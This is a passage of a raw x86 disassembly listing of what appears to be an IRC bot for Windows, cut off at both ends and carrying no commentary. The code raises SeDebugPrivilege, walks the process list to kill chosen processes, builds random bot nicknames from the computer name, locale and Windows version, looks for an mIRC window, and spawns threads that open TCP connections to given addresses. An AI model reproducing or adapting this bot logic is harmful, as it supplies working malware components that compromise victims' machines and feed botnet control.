; ---------------------------------------------------------------------------


loc_413A38:				; CODE XREF: sub_4139F3+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A42:				; CODE XREF: sub_4139F3+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A4C:				; CODE XREF: sub_4139F3+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A56:				; CODE XREF: sub_4139F3+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A60:				; CODE XREF: sub_4139F3+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A6A:				; CODE XREF: sub_4139F3+1Aj
		sub	eax, 7Ch
		jz	short loc_413A97
		sub	eax, 7C8h
		jz	short loc_413A90
		dec	eax
		jz	short loc_413A86
		dec	eax
		jnz	short loc_413AF4
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A86:				; CODE XREF: sub_4139F3+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A90:				; CODE XREF: sub_4139F3+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413A97:				; CODE XREF: sub_4139F3+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413A9E:				; CODE XREF: sub_4139F3+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413AA5:				; CODE XREF: sub_4139F3+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_413ADE
		jz	short loc_413AD7
		sub	eax, 8ADh
		jz	short loc_413B09
		dec	eax
		dec	eax
		jz	short loc_413AD0
		dec	eax
		jz	short loc_413AC9
		dec	eax
		dec	eax
		jnz	short loc_413AF4
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413AC9:				; CODE XREF: sub_4139F3+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413AD0:				; CODE XREF: sub_4139F3+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413AD7:				; CODE XREF: sub_4139F3+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413ADE:				; CODE XREF: sub_4139F3+B9j
		sub	eax, 8CAh
		jz	short loc_413B10
		sub	eax, 17h
		jz	short loc_413B09
		sub	eax, 25h
		jz	short loc_413B02
		sub	eax, 29h
		jz	short loc_413AFB


loc_413AF4:				; CODE XREF: sub_4139F3+35j
					; sub_4139F3+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413AFB:				; CODE XREF: sub_4139F3+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413B02:				; CODE XREF: sub_4139F3+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413B09:				; CODE XREF: sub_4139F3+C2j
					; sub_4139F3+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413B10:				; CODE XREF: sub_4139F3+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_413B15:				; CODE XREF: sub_4139F3+40j
					; sub_4139F3+4Aj ...
		push	offset dword_46B270
		call	sub_415316
		pop	ecx
		mov	eax, offset dword_46B270
		pop	ecx
		retn
sub_4139F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B27	proc near		; CODE XREF: sub_40CD3A+2059p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_417A19
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_42113C	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_417A19
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179FC
		add	esp, 10h
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43CA34
		test	eax, eax
		jnz	short loc_413BB7
		mov	esi, offset dword_46B068
		push	offset dword_437A94
		push	esi
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	short loc_413BE0
; ---------------------------------------------------------------------------


loc_413BB7:				; CODE XREF: sub_413B27+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4139F3
		pop	ecx
		mov	esi, offset dword_46B068
		push	eax
		push	offset dword_437A58
		push	esi
		call	sub_415316
		add	esp, 14h


loc_413BE0:				; CODE XREF: sub_413B27+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BE5	proc near		; CODE XREF: sub_409D12+7p
					; sub_413C50+53p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_421104	; GetCurrentProcess
		push	eax
		call	dword_43CA08	; OpenProcessToken
		test	eax, eax
		jnz	short loc_413C04
		leave
		retn
; ---------------------------------------------------------------------------


loc_413C04:				; CODE XREF: sub_413BE5+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43C9E0	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_413C42
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_413C2B
		or	[ebp+var_8], 2
		jmp	short loc_413C2F
; ---------------------------------------------------------------------------


loc_413C2B:				; CODE XREF: sub_413BE5+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_413C2F:				; CODE XREF: sub_413BE5+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43CA90	; AdjustTokenPrivileges
		mov	esi, eax


loc_413C42:				; CODE XREF: sub_413BE5+32j
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413BE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C50	proc near		; CODE XREF: sub_40CD3A+478Ep
					; sub_413DFD+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43CA44, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	short loc_413CF5
		cmp	dword_43CA28, ebx
		jz	short loc_413CF5
		cmp	dword_43C944, ebx
		jz	short loc_413CF5
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413BE5
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43CA44	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	short loc_413CE8
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43CA28	; Process32First
		mov	esi, dword_42106C
		test	eax, eax
		jnz	loc_413DAB


loc_413CE3:				; CODE XREF: sub_413C50+173j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_413CE8:				; CODE XREF: sub_413C50+69j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413BE5
		pop	ecx
		pop	ecx


loc_413CF5:				; CODE XREF: sub_413C50+3Aj
					; sub_413C50+42j ...
		xor	eax, eax


loc_413CF7:				; CODE XREF: sub_413C50+1A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413CFC:				; CODE XREF: sub_413C50+16Dj
		cmp	[ebp+arg_10], ebx
		jnz	loc_413DAB
		cmp	[ebp+arg_C], ebx
		jnz	loc_413D96
		cmp	[ebp+arg_4], ebx
		jz	loc_413DAB
		push	[ebp+var_124]
		push	8
		call	dword_43CA44	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_413D56
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43C8F0	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_413D5C
		lea	eax, [ebp+var_230]
		jmp	short loc_413D62
; ---------------------------------------------------------------------------


loc_413D56:				; CODE XREF: sub_413C50+E4j
		push	[ebp+var_124]


loc_413D5C:				; CODE XREF: sub_413C50+FCj
		lea	eax, [ebp+var_108]


loc_413D62:				; CODE XREF: sub_413C50+104j
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_415316
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_413DAB
; ---------------------------------------------------------------------------


loc_413D96:				; CODE XREF: sub_413C50+B8j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413DC8


loc_413DAB:				; CODE XREF: sub_413C50+8Dj
					; sub_413C50+AFj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43C944	; Process32Next
		test	eax, eax
		jnz	loc_413CFC
		jmp	loc_413CE3
; ---------------------------------------------------------------------------


loc_413DC8:				; CODE XREF: sub_413C50+159j
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	dword_42111C	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	ebx
		push	edi
		call	dword_421140	; TerminateProcess
		test	eax, eax
		jnz	short loc_413DF5
		push	edi
		call	esi	; CloseHandle
		jmp	loc_413CF5
; ---------------------------------------------------------------------------


loc_413DF5:				; CODE XREF: sub_413C50+19Bj
		xor	eax, eax
		inc	eax
		jmp	loc_413CF7
sub_413C50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413DFD	proc near		; DATA XREF: sub_40CD3A+5343o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_437B64
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415316
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_413E5C
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412BD1
		add	esp, 14h


loc_413E5C:				; CODE XREF: sub_413DFD+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_413C50
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_413E8A
		push	offset dword_437B28
		jmp	short loc_413E8F
; ---------------------------------------------------------------------------


loc_413E8A:				; CODE XREF: sub_413DFD+84j
		push	offset dword_437AF0


loc_413E8F:				; CODE XREF: sub_413DFD+8Bj
		push	eax
		call	sub_415316
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_413EBC
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412BD1
		add	esp, 14h


loc_413EBC:				; CODE XREF: sub_413DFD+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40B078
		push	[ebp+var_14]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_413DFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413EDB	proc near		; CODE XREF: sub_40CD3A+4730p
					; sub_414F15+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	dword_42111C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_413F0D
		push	0
		push	esi
		call	dword_421140	; TerminateProcess
		test	eax, eax
		jnz	short loc_413F0D
		push	esi
		xor	edi, edi
		call	dword_42106C	; CloseHandle


loc_413F0D:				; CODE XREF: sub_413EDB+1Aj
					; sub_413EDB+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_413EDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F12	proc near		; CODE XREF: sub_4036BB+Ap
					; sub_403C74+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_415372
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_421668
		call	sub_415E24
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413F12	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F42	proc near		; CODE XREF: sub_414278+4Ap
					; DATA XREF: .text:off_437BB0o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	dword_42C2E4
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41588A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C25C, esi
		jle	short loc_413F9B


loc_413F75:				; CODE XREF: sub_413F42+57j
		call	sub_415372
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437C04
		push	1Ch
		push	edi
		call	sub_41588A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C25C
		jl	short loc_413F75


loc_413F9B:				; CODE XREF: sub_413F42+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_413F42	endp


; =============== S U B	R O U T	I N E =======================================



sub_413FA0	proc near		; CODE XREF: sub_40CD3A+3CBAp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		call	sub_415372
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42C25C
		test	esi, esi
		jle	short loc_413FE3


loc_413FCD:				; CODE XREF: sub_413FA0+41j
		call	sub_415372
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_413FCD


loc_413FE3:				; CODE XREF: sub_413FA0+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_413FA0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		lea	eax, [ebp-4]
		mov	esi, offset dword_437C0C
		push	eax
		push	esi
		call	dword_42113C	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41588A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42C25C, esi
		jle	short loc_414056


loc_414030:				; CODE XREF: .text:00414054j
		call	sub_415372
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437C04
		push	1Ch
		push	edi
		call	sub_41588A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C25C
		jl	short loc_414030


loc_414056:				; CODE XREF: .text:0041402Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_421144	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_437C10
		push	1Ch
		push	edi
		call	sub_41588A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C25C, esi
		jle	short loc_4140CB


loc_4140A5:				; CODE XREF: .text:004140C9j
		call	sub_415372
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437C04
		push	1Ch
		push	edi
		call	sub_41588A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C25C
		jl	short loc_4140A5


loc_4140CB:				; CODE XREF: .text:004140A3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43B658
		mov	dword ptr [ebp-94h], 94h
		call	dword_42110C	; GetVersionExA
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_414155
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_414135
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_414125
		mov	esi, offset a95	; "95"


loc_414125:				; CODE XREF: .text:0041411Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_414191
		mov	esi, offset aNt	; "NT"
		jmp	short loc_414191
; ---------------------------------------------------------------------------


loc_414135:				; CODE XREF: .text:00414115j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_414145
		mov	esi, offset a98	; "98"
		jmp	short loc_414191
; ---------------------------------------------------------------------------


loc_414145:				; CODE XREF: .text:0041413Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_41418C
		mov	esi, offset aMe	; "ME"
		jmp	short loc_414191
; ---------------------------------------------------------------------------


loc_414155:				; CODE XREF: .text:0041410Cj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_41418C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_41416E
		mov	esi, offset a2k	; "2K"
		jmp	short loc_414191
; ---------------------------------------------------------------------------


loc_41416E:				; CODE XREF: .text:00414165j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_41417E
		mov	esi, offset aXp	; "XP"
		jmp	short loc_414191
; ---------------------------------------------------------------------------


loc_41417E:				; CODE XREF: .text:00414175j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_437C1C
		jz	short loc_414191


loc_41418C:				; CODE XREF: .text:0041414Cj
					; .text:0041415Cj
		mov	esi, offset dword_42B868


loc_414191:				; CODE XREF: .text:0041412Cj
					; .text:00414133j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_437C14
		push	1Ch
		push	edi
		call	sub_41588A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C25C, esi
		jle	short loc_4141D5


loc_4141AF:				; CODE XREF: .text:004141D3j
		call	sub_415372
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437C04
		push	1Ch
		push	edi
		call	sub_41588A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C25C
		jl	short loc_4141AF


loc_4141D5:				; CODE XREF: .text:004141ADj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141DB	proc near		; CODE XREF: sub_414278+5Dp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		call	dword_43CA30	; FindWindowA
		cmp	esi, 64h
		jbe	short loc_41422A
		test	eax, eax
		mov	eax, offset dword_437C28
		jnz	short loc_414213
		mov	eax, offset byte_43B658


loc_414213:				; CODE XREF: sub_4141DB+31j
		push	eax
		push	esi
		push	offset dword_437C20
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41588A
		add	esp, 14h
		jmp	short loc_414244
; ---------------------------------------------------------------------------


loc_41422A:				; CODE XREF: sub_4141DB+28j
		test	eax, eax
		mov	eax, offset dword_437C28
		jnz	short loc_414238
		mov	eax, offset byte_43B658


loc_414238:				; CODE XREF: sub_4141DB+56j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_414244:				; CODE XREF: sub_4141DB+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415B10
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_414273
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_416DB0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_416BE0
		add	esp, 18h


loc_414273:				; CODE XREF: sub_4141DB+77j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4141DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414278	proc near		; CODE XREF: sub_40CA58+7Fp
					; sub_40CBBE+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_414281:				; CODE XREF: sub_414278+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_41429F
		lea	eax, dword_437BA0[esi]
		push	eax
		push	[ebp+arg_C]
		call	sub_415730
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41429F:				; CODE XREF: sub_414278+Dj
		mov	ecx, dword_437BAC[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_4142AD:				; CODE XREF: sub_414278+25j
		test	eax, eax
		jnz	short loc_4142BC
		add	esi, 14h
		inc	edi
		cmp	esi, 64h
		jb	short loc_414281
		jmp	short loc_4142CA
; ---------------------------------------------------------------------------


loc_4142BC:				; CODE XREF: sub_414278+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_437BB0[eax*4]
		pop	ecx


loc_4142CA:				; CODE XREF: sub_414278+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_4142DD
		push	[ebp+arg_0]
		call	sub_4141DB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4142DD:				; CODE XREF: sub_414278+58j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_414278	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142E2	proc near		; DATA XREF: sub_4143AF+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A4h], esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43CA24	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43CAA4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4143A0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43C9CC	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_441BA4[ecx], esi
		jz	short loc_4143A0
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		mov	edi, offset dword_46B8D8
		push	offset unk_437C2C
		push	edi
		call	sub_415316
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_412BD1
		push	edi
		call	sub_40B078
		add	esp, 28h


loc_4143A0:				; CODE XREF: sub_4142E2+5Dj
					; sub_4142E2+7Ej
		push	esi
		call	dword_43CABC	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_4142E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4143AF	proc near		; DATA XREF: sub_40CD3A+3410o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_421060
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_4143DD:				; CODE XREF: sub_4143AF+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_437C68
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_441998
		push	eax
		call	sub_416BE0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_4142E2
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_414449
		jmp	short loc_414444
; ---------------------------------------------------------------------------


loc_414440:				; CODE XREF: sub_4143AF+98j
		push	32h
		call	esi	; Sleep


loc_414444:				; CODE XREF: sub_4143AF+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_414440


loc_414449:				; CODE XREF: sub_4143AF+8Dj
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
